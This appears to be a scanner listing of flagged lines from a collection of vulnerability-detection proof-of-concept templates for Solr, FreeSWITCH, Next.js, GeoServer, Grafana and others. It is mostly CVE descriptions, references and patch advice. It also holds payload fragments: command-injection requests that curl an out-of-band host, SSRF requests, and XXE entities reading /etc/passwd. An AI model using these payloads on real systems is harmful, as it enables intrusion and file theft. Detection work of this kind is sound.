- raw: - | GET /solr/{{core_name}}/replication/?command=fetchindex&masterUrl=http://{{interactsh-url}} HTTP/1.1 - Network accessline 51
- | GET /solr/{{core_name}}/replication/?command=fetchindex&masterUrl=http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} - Network accessline 52
GET /solr/{{core_name}}/replication/?command=fetchindex&masterUrl=http://{{interactsh-url}} HTTP/1.1
pocs/public/Apache_ActiveMQ_CVE-2026-34197_RCE.yaml
- Network accessline 8
Apache ActiveMQ allows remote code execution via the Jolokia JMX-HTTP bridge. Attackers can call addNetworkConnector or addConnector methods with a malicious brokerConfig parameter to load remote Spring XML configuration files via ResourceX - Network accessline 9
reference: - https://activemq.apache.org/ classification: - Network accessline 10
- https://activemq.apache.org/
pocs/public/Apache_Solr_Arbitrary_file_read.yaml
- Network accessline 13
publish_time: 2021-04-23 dangers_type: 任意文件读取 bug_solve: 目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新:https://solr.apache.org/ - Network accessline 14
dangers_type: 任意文件读取 bug_solve: 目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新:https://solr.apache.org/ bug_web: https://solr.apache.org/ - Network accessline 15
bug_solve: 目前厂商尚未提供相关漏洞补丁链接,请关注厂商主页随时更新:https://solr.apache.org/ - Network accessline 16
bug_web: https://solr.apache.org/
pocs/public/Apache_Solr_collections.yaml
- Network accessline 8
Apache Solr is an open source search service built on Apache Lucene. It is vulnerable to JNDI injection (CVE-2021-44228) which can lead to remote code execution. reference: - https://www.cve.org/CVERecord?id=CVE-2021-44228 - Network accessline 9
reference: - https://www.cve.org/CVERecord?id=CVE-2021-44228 - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 - Network accessline 10
- https://www.cve.org/CVERecord?id=CVE-2021-44228 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
pocs/public/AvaVideos_SingleUpload_Servlet_File_Upload.yaml
pocs/public/CJT_DownLoadBlockFile_fileRead.yaml
- Network accessline 12
fingerprint: '用友畅捷通T+' publish_time: "2026-03-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.chanjet.com/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
publish_time: "2026-03-23" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.chanjet.com/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://www.chanjet.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.chanjet.com/;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "https://www.chanjet.com/"
pocs/public/CJT_SimulationLoginNew_SQL.yaml
- Network accessline 12
fingerprint: '用友畅捷通T+' publish_time: "2026-03-31" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.chanjet.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 13
publish_time: "2026-03-31" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.chanjet.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" bug_web: "https://www.chanjet.com/" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://www.chanjet.com/;2、关闭互联网访问权限或限制页面访问权限;3、对所有输入数据进行严格验证,并使用参数化查询。同时,应限制数据库用户的权限,仅授予执行必要操作所需的最低权限。" - Network accessline 15
bug_web: "https://www.chanjet.com/"
pocs/public/CNVD-2022-03672.yaml
- Network accessline 7
description: Sunflower Simple and Personal is susceptible to a remote code execution vulnerability. reference: - https://www.1024sou.com/article/741374.html - Network accessline 8
reference: - https://www.1024sou.com/article/741374.html - https://copyfuture.com/blogs-details/202202192249158884 - Network accessline 9
- https://www.1024sou.com/article/741374.html - Network accessline 10
- https://copyfuture.com/blogs-details/202202192249158884 - Network accessline 11
- https://www.cnvd.org.cn/flaw/show/CNVD-2022-10270 - Network accessline 12
- https://www.cnvd.org.cn/flaw/show/CNVD-2022-03672
pocs/public/CVE-2015-7501.yaml
- Network accessline 9
多款Red Hat产品存在安全漏洞。远程攻击者可借助特制的序列化Java对象利用该漏洞执行任意命令。以下产品和版本受到影响:Red Hat JBoss A-MQ 6.x版本;BPM Suite (BPMS) 6.x版本;BRMS 6.x版本和5.x版本;Data Grid (JDG) 6.x版本;Data Virtualization (JDV) 6.x版本和5.x版本;Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;F - Network accessline 10
reference: - https://mp.weixin.qq.com/s/-g4iWOZkVM0tYRsAohyqKw metadata: - Network accessline 11
- https://mp.weixin.qq.com/s/-g4iWOZkVM0tYRsAohyqKw - Network accessline 15
publish_time: "2015-12-03" dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本:https://access.redhat.com" - Network accessline 16
dangers_type: "命令执行" bug_solve: "联系厂商打补丁或升级版本:https://access.redhat.com" bug_web: "https://access.redhat.com/" - Network accessline 17
bug_solve: "联系厂商打补丁或升级版本:https://access.redhat.com" - Network accessline 18
bug_web: "https://access.redhat.com/"
pocs/public/CVE-2017-17562.yaml
- Network accessline 8
description: Embedthis GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. reference: - https://www.elttam.com/blog/goahead/ - Network accessline 9
reference: - https://www.elttam.com/blog/goahead/ - https://github.com/ivanitlearning/CVE-2017-17562 - Network accessline 10
- https://www.elttam.com/blog/goahead/ - Network accessline 11
- https://github.com/ivanitlearning/CVE-2017-17562 - Network accessline 12
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562 - Network accessline 13
- https://github.com/embedthis/goahead/issues/249 - Network accessline 14
- https://nvd.nist.gov/vuln/detail/CVE-2017-17562
pocs/public/CVE-2017-7921.yaml
- Network accessline 7
description: Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V - Network accessline 8
reference: - http://www.hikvision.com/us/about_10805.html - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01 - Network accessline 9
- http://www.hikvision.com/us/about_10805.html - Network accessline 10
- https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2017-7921 - Network accessline 12
- https://ghostbin.com/paste/q2vq2
pocs/public/CVE-2018-1207.yaml
- Network accessline 10
potentially be able to use CGI variables to execute remote code. reference: - https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf - Network accessline 11
reference: - https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf - https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py - Network accessline 12
- https://downloads.dell.com/solutions/dell-management-solution-resources/iDRAC_CVE%201207_1211_1000116.pdf - Network accessline 13
- https://github.com/KraudSecurity/Exploits/blob/master/CVE-2018-1207/CVE-2018-1207.py - Network accessline 14
- https://nvd.nist.gov/vuln/detail/CVE-2018-1207 - Network accessline 15
- http://en.community.dell.com/techcenter/extras/m/white_papers/20485410 - Network accessline 16
- https://twitter.com/nicowaisman/status/977279766792466432
pocs/public/CVE-2018-19911.yaml
- Network accessline 8
FreeSWITCH 1.8.2 and earlier contains a command injection vulnerability in the mod_xml_rpc module. Remote attackers can execute arbitrary commands via the api/system, txtapi/system, api/bg_system, or txtapi/bg_system query strings on TCP po - Network accessline 9
reference: - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2018-19911 - https://nvd.nist.gov/vuln/detail/CVE-2018-19911 - Network accessline 10
- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2018-19911 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2018-19911 - Network accessline 24
- raw: - | GET /api/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 25
- | GET /api/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 Host: {{Hostname}} - Network accessline 26
GET /api/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 31
- | GET /txtapi/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 32
GET /txtapi/system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 37
- | GET /api/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 38
GET /api/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 43
- | GET /txtapi/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1 - Network accessline 44
GET /txtapi/bg_system?{{url_encode('curl http://{{interactsh-url}}')}} HTTP/1.1
pocs/public/CVE-2018-2392.yaml
- Network accessline 8
SAP Internet Graphics Servers (IGS) running versions 7.20, 7.20EXT, 7.45, 7.49, or 7.53 has two XML external entity injection (XXE) vulnerabilities within the XMLCHART page - CVE-2018-2392 and CVE-2018-2393. These vulnerabilities occur due - Network accessline 9
reference: - https://launchpad.support.sap.com/#/notes/2525222 - https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/ - Network accessline 10
- https://launchpad.support.sap.com/#/notes/2525222 - Network accessline 11
- https://blogs.sap.com/2018/02/13/sap-security-patch-day-february-2018/ - Network accessline 12
- https://www.rapid7.com/db/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe/ - Network accessline 13
- https://troopers.de/troopers18/agenda/3r38lr/ - Network accessline 14
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb - Network accessline 15
- https://nvd.nist.gov/vuln/detail/CVE-2018-2392
pocs/public/CVE-2019-15043.yaml
- Network accessline 8
Grafana 2.x through 6.x before 6.3.4 is susceptible to improper access control. An attacker can delete and create arbitrary snapshots, leading to denial of service. reference: - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4- - Network accessline 9
reference: - https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569 - https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/ - Network accessline 10
- https://community.grafana.com/t/grafana-5-4-5-and-6-3-4-security-update/20569 - Network accessline 11
- https://grafana.com/blog/2019/08/29/grafana-5.4.5-and-6.3.4-released-with-important-security-fix/ - Network accessline 12
- https://bugzilla.redhat.com/show_bug.cgi?id=1746945 - Network accessline 13
- https://aaron-hoffmann.com/posts/cve-2019-15043/ - Network accessline 14
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15043 - Network accessline 15
- https://nvd.nist.gov/vuln/detail/CVE-2019-15043
pocs/public/CVE-2020-14883.yaml
- Network accessline 8
The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network acc - Network accessline 9
reference: - https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883 - Network accessline 10
- https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html - Network accessline 11
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883 - Network accessline 12
- https://www.oracle.com/security-alerts/cpuoct2020.html - Network accessline 13
- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
pocs/public/CVE-2020-23575.yaml
- Network accessline 7
description: Kyocera Printer d-COPIA253MF plus is susceptible to a directory traversal vulnerability which could allow an attacker to retrieve or view arbitrary files from the affected server. reference: - https://www.exploit-db.com/e - Network accessline 8
reference: - https://www.exploit-db.com/exploits/48561 - https://nvd.nist.gov/vuln/detail/CVE-2020-23575 - Network accessline 9
- https://www.exploit-db.com/exploits/48561 - Network accessline 10
- https://nvd.nist.gov/vuln/detail/CVE-2020-23575 - Network accessline 11
- https://www.kyoceradocumentsolutions.com.tr/tr.html
pocs/public/CVE-2021-27358.yaml
- Network accessline 7
description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set. reference: - https://phabricato - Network accessline 8
reference: - https://phabricator.wikimedia.org/T274736 - https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ - Network accessline 9
- https://phabricator.wikimedia.org/T274736 - Network accessline 10
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/ - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2021-27358 - Network accessline 12
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md - Network accessline 13
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
pocs/public/CVE-2021-33044.yaml
- Network accessline 7
description: Some Dahua products contain an authentication bypass during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. reference: - https://github.com/dorkerdevil/CVE-20 - Network accessline 8
reference: - https://github.com/dorkerdevil/CVE-2021-33044 - https://nvd.nist.gov/vuln/detail/CVE-2021-33044 - Network accessline 9
- https://github.com/dorkerdevil/CVE-2021-33044 - Network accessline 10
- https://nvd.nist.gov/vuln/detail/CVE-2021-33044 - Network accessline 11
- https://seclists.org/fulldisclosure/2021/Oct/13 - Network accessline 12
- https://www.dahuasecurity.com/support/cybersecurity/details/957
pocs/public/CVE-2021-37304.yaml
- Network accessline 8
An Insecure Permissions issue in jeecg-boot 2.4.5 allows unauthenticated remote attackers to gain escalated privilege and view sensitive information via the httptrace interface. reference: - https://github.com/jeecgboot/jeecg-boot/iss - Network accessline 9
reference: - https://github.com/jeecgboot/jeecg-boot/issues/2793 - https://nvd.nist.gov/vuln/detail/CVE-2021-37304 - Network accessline 10
- https://github.com/jeecgboot/jeecg-boot/issues/2793 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2021-37304
pocs/public/CVE-2021-37305.yaml
- Network accessline 8
Jeecg Boot <= 2.4.5 API interface has unauthorized access and leaks sensitive information such as email,phone and Enumerate usernames that exist in the system. reference: - https://github.com/jeecgboot/jeecg-boot/issues/2794 - Network accessline 9
reference: - https://github.com/jeecgboot/jeecg-boot/issues/2794 - https://nvd.nist.gov/vuln/detail/CVE-2021-37305 - Network accessline 10
- https://github.com/jeecgboot/jeecg-boot/issues/2794 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2021-37305
pocs/public/CVE-2021-39226.yaml
- Network accessline 7
description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snap - Network accessline 8
reference: - https://github.com/advisories/GHSA-69j6-29vr-p3j9 - https://nvd.nist.gov/vuln/detail/CVE-2021-39226 - Network accessline 9
- https://github.com/advisories/GHSA-69j6-29vr-p3j9 - Network accessline 10
- https://nvd.nist.gov/vuln/detail/CVE-2021-39226 - Network accessline 11
- https://github.com/grafana/grafana/commit/2d456a6375855364d098ede379438bf7f0667269 - Network accessline 12
- https://grafana.com/docs/grafana/latest/release-notes/release-notes-8-1-6/ - Network accessline 13
- http://www.openwall.com/lists/oss-security/2021/10/05/4
pocs/public/CVE-2022-0735.yaml
- Network accessline 7
description: GitLab CE/EE is susceptible to information disclosure. An attacker can access runner registration tokens using quick actions commands, thereby making it possible to obtain sensitive information, modify data, and/or execute unau - Network accessline 8
reference: - https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/cve-hash-harvester - https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-0735.json - Network accessline 9
- https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/cve-hash-harvester - Network accessline 10
- https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-0735.json - Network accessline 11
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0735 - Network accessline 12
- https://nvd.nist.gov/vuln/detail/cve-2022-0735
pocs/public/CVE-2022-24816.yaml
- Network accessline 11
remediation: 1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z. - Network accessline 12
reference: - https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html - https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx - Network accessline 13
- https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html - Network accessline 14
- https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx - Network accessline 15
- https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb - Network accessline 16
- https://nvd.nist.gov/vuln/detail/CVE-2022-24816 - Network accessline 17
- https://github.com/tanjiti/sec_profile - Network accessline 44
<?xml version="1.0" encoding="UTF-8"?> <wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="htt - Network accessline 45
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://
pocs/public/CVE-2022-36883.yaml
- Network accessline 7
description: Jenkins Git plugin through 4.11.3 contains a missing authorization check. An attacker can trigger builds of jobs configured to use an attacker-specified Git repository and to cause them to check out an attacker-specified commit - Network accessline 8
reference: - https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883 - Network accessline 9
- https://www.jenkins.io/security/advisory/2022-07-27/#SECURITY-284 - Network accessline 10
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-36883 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2022-36883 - Network accessline 12
- http://www.openwall.com/lists/oss-security/2022/07/27/1
pocs/public/CVE-2023-28432.yaml
- Network accessline 8
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Network accessline 9
reference: - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q - https://github.com/minio/minio/pull/16853/files - Network accessline 10
- https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q - Network accessline 11
- https://github.com/minio/minio/pull/16853/files - Network accessline 12
- https://github.com/golang/vulndb/issues/1667 - Network accessline 13
- https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json - Network accessline 14
- https://nvd.nist.gov/vuln/detail/CVE-2023-28432
pocs/public/CVE-2023-50292.yaml
- Network accessline 9
Apache Solr 9.0.0至9.3.0之前版本存在信息泄露漏洞,该漏洞源于存在敏感信息泄露漏洞。 reference: - https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables - Network accessline 10
reference: - https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables - https://cxsecurity.com/cveshow/CVE-2023-50290/ - Network accessline 11
- https://solr.apache.org/security.html#cve-2023-50290-apache-solr-allows-read-access-to-host-environment-variables - Network accessline 12
- https://cxsecurity.com/cveshow/CVE-2023-50290/ - Network accessline 17
dangers_type: "信息泄露" bug_solve: "官方已发布安全更新,建议升级至最新版本。 " bug_web: "https://solr.apache.org/" - Network accessline 18
bug_solve: "官方已发布安全更新,建议升级至最新版本。 " bug_web: "https://solr.apache.org/" CNNVD_number: "CNNVD-202401-1254 " - Network accessline 19
bug_web: "https://solr.apache.org/"
pocs/public/CVE-2024-34351.yaml
- Network accessline 8
ZEIT Next.js is an open source Web application framework based on Vue.js, Node.js, Webpack and Babel.js. Versions 13.4 through 14.1.1 contain a server-side request forgery (SSRF) vulnerability in the image optimization feature that allows a - Network accessline 9
reference: - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2024-34351 - https://nvd.nist.gov/vuln/detail/CVE-2024-34351 - Network accessline 10
- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2024-34351 - Network accessline 11
- https://nvd.nist.gov/vuln/detail/CVE-2024-34351 - Network accessline 25
- raw: - | GET /_next/image?w=16&q=10&url=http://{{interactsh-url}} HTTP/1.1 - Network accessline 26
- | GET /_next/image?w=16&q=10&url=http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} - Network accessline 27
GET /_next/image?w=16&q=10&url=http://{{interactsh-url}} HTTP/1.1
pocs/public/CVE-2024-42327.yaml
- Network accessline 8
Zabbix 存在 SQL 注入漏洞(CVE-2024-42327),该漏洞是由于在 Zabbix前端的CUser类中的addRelatedObjects函数未对输入数据进行充分验证和转义,导致具有API访问权限的恶意用户可以通过user.get API传递特制输入触发SQL注入攻击,进而利用该漏洞实现权限提升或访问敏感数据。 reference: - https://mp.weixin.qq.com/s/njqzidZANrWkYyrpZ8Z1og - Network accessline 9
reference: - https://mp.weixin.qq.com/s/njqzidZANrWkYyrpZ8Z1og metadata: - Network accessline 10
- https://mp.weixin.qq.com/s/njqzidZANrWkYyrpZ8Z1og - Network accessline 14
publish_time: "2024-11-29" dangers_type: "SQL注入" bug_solve: "目前官方已发布新版本修复该漏洞,建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。官网地址:https://www.zabbix.com/download" - Network accessline 15
dangers_type: "SQL注入" bug_solve: "目前官方已发布新版本修复该漏洞,建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。官网地址:https://www.zabbix.com/download" bug_web: "https://www.zabbix.com" - Network accessline 16
bug_solve: "目前官方已发布新版本修复该漏洞,建议受影响用户升级到Zabbix 6.0.32rc1、Zabbix 6.4.17rc1、Zabbix 7.0.1rc1或更高版本。官网地址:https://www.zabbix.com/download" - Network accessline 17
bug_web: "https://www.zabbix.com"
pocs/public/CVE-2025-30220.yaml
- Network accessline 8
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer contains a code problem vulnerability due to improper handling of XML external entities (XXE), which could lead to in - Network accessline 9
reference: - https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2025-30220 classification: - Network accessline 10
- https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2025-30220 - Network accessline 34
<wfs:GetFeature service="WFS" version="1.0.0" xmlns:wfs="http://www.opengis.net/wfs" - Network accessline 35
xmlns:wfs="http://www.opengis.net/wfs" - Network accessline 36
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 37
xmlns:topp="http://www.openplans.org/topp" - Network accessline 38
xsi:schemaLocation="http://a http://{{interactsh-url}}"
pocs/public/CVE-2025-31486.yaml
- Network accessline 12
publish_time: "2025-04-07" dangers_type: "任意文件读取" bug_solve: "1、目前官方已发布安全更新,建议用户尽快升级至最新版本:https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x" - Network accessline 13
dangers_type: "任意文件读取" bug_solve: "1、目前官方已发布安全更新,建议用户尽快升级至最新版本:https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x" bug_web: "https://github.com/vitejs/vite" - Network accessline 14
bug_solve: "1、目前官方已发布安全更新,建议用户尽快升级至最新版本:https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x" - Network accessline 15
bug_web: "https://github.com/vitejs/vite"
pocs/public/CVE-2025-3415.yaml
- Network accessline 7
description: Grafana是Grafana开源的一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。Grafana存在安全漏洞,该漏洞源于Grafana Alerting DingDing集成保护不足,可能导致Viewer权限用户访问敏感信息。 reference: - "https://vip.bdziyi.com/58352/" - Network accessline 8
reference: - "https://vip.bdziyi.com/58352/" metadata: - Network accessline 9
- "https://vip.bdziyi.com/58352/" - Network accessline 12
fingerprint: "Grafana" publish_time: "2025-07-18" bug_solve: "厂商已发布安全补丁,请受影响的用户及时升级版本:https://grafana.com/security/security-advisories/cve-2025-3415/" - Network accessline 13
publish_time: "2025-07-18" bug_solve: "厂商已发布安全补丁,请受影响的用户及时升级版本:https://grafana.com/security/security-advisories/cve-2025-3415/" bug_web: "https://grafana.com/" - Network accessline 14
bug_solve: "厂商已发布安全补丁,请受影响的用户及时升级版本:https://grafana.com/security/security-advisories/cve-2025-3415/" - Network accessline 15
bug_web: "https://grafana.com/"
pocs/public/CVE-2025-55182.yaml
- Network accessline 7
description: React Server Components中的远程代码执行漏洞。该漏洞源于React在处理客户端发送的请求时,反序列化机制存在缺陷。React将客户端请求转为HTTP请求并转发至服务器,之后在服务器端将HTTP请求反序列化为函数调用。攻击者可通过构造恶意HTTP请求,利用该反序列化缺陷,在服务器端执行任意代码,从而触发远程代码执行风险。 reference: - "https://react.dev/blog/2025/12/03/c - Network accessline 8
reference: - "https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/" metadata: - Network accessline 9
- "https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/" - Network accessline 12
fingerprint: "React Server Components" publish_time: "2025-12-04" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 13
publish_time: "2025-12-04" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/;2、关闭互联网访问权限或限制页面访问权限。" bug_web: "https://react.dev" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components/;2、关闭互联网访问权限或限制页面访问权限。" - Network accessline 15
bug_web: "https://react.dev"
pocs/public/CVE-2025-58360.yaml
- Network accessline 7
description: GeoServer是一款开源的服务器,用于共享和编辑地理空间数据。它支持多种地图和数据标准,如WMS、WFS、WCS等,广泛应用于地理信息系统(GIS)领域,帮助用户发布和管理地理数据。GeoServer XML外部实体注入漏洞(CVE-2025-58360),该漏洞源于 /geoserver/wms 端点的 GetMap 操作在接收 XML 请求时未对外部实体引用进行充分限制。攻击者可以利用该漏洞,通过构造恶意的 XML 数据注入外部实体,从而读取 - Network accessline 8
reference: - "https://mp.weixin.qq.com/s/Rr9hAlfC_1GsHxSYGXwaJQ" metadata: - Network accessline 9
- "https://mp.weixin.qq.com/s/Rr9hAlfC_1GsHxSYGXwaJQ" - Network accessline 12
fingerprint: "GeoServer" publish_time: "2025-11-26" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://geoserver.org/?lang=zh-cn;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 13
publish_time: "2025-11-26" bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://geoserver.org/?lang=zh-cn;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" bug_web: "https://geoserver.org/?lang=zh-cn" - Network accessline 14
bug_solve: "1、联系厂商打补丁或升级版本,厂商url:https://geoserver.org/?lang=zh-cn;2、关闭互联网访问权限或限制页面访问权限;3、在处理客户端输入的参数时,进行严格的验证和过滤,防止未授权的文件访问。" - Network accessline 15
bug_web: "https://geoserver.org/?lang=zh-cn" - Network accessline 30
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> - Network accessline 31
]> <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> <NamedLayer> - Network accessline 32
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> - Network accessline 46
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> - Network accessline 47
]> <StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld"> <NamedLayer> - Network accessline 48
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
pocs/public/CVE-2026-27944.yaml
- Network accessline 7
description: Nginx UI 是一款基于Go语言开发的开源Web管理界面,旨在为Nginx服务器提供图形化配置管理、SSL证书维护及日志查看等功能。该工具通过可视化界面简化了Nginx的配置与运维管理。在 2.3.3版本之前,Nginx UI存在一处严重的安全设计缺陷:/api/backup接口未配置任何身份认证中间件,且在处理备份请求时,将AES-256加密密钥及初始化向量(IV)直接明文写入HTTP响应头 X-Backup-Security中返回给客户端。 - Network accessline 8
reference: - "https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2026-27944" metadata: - Network accessline 9
- "https://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2026-27944" - Network accessline 12
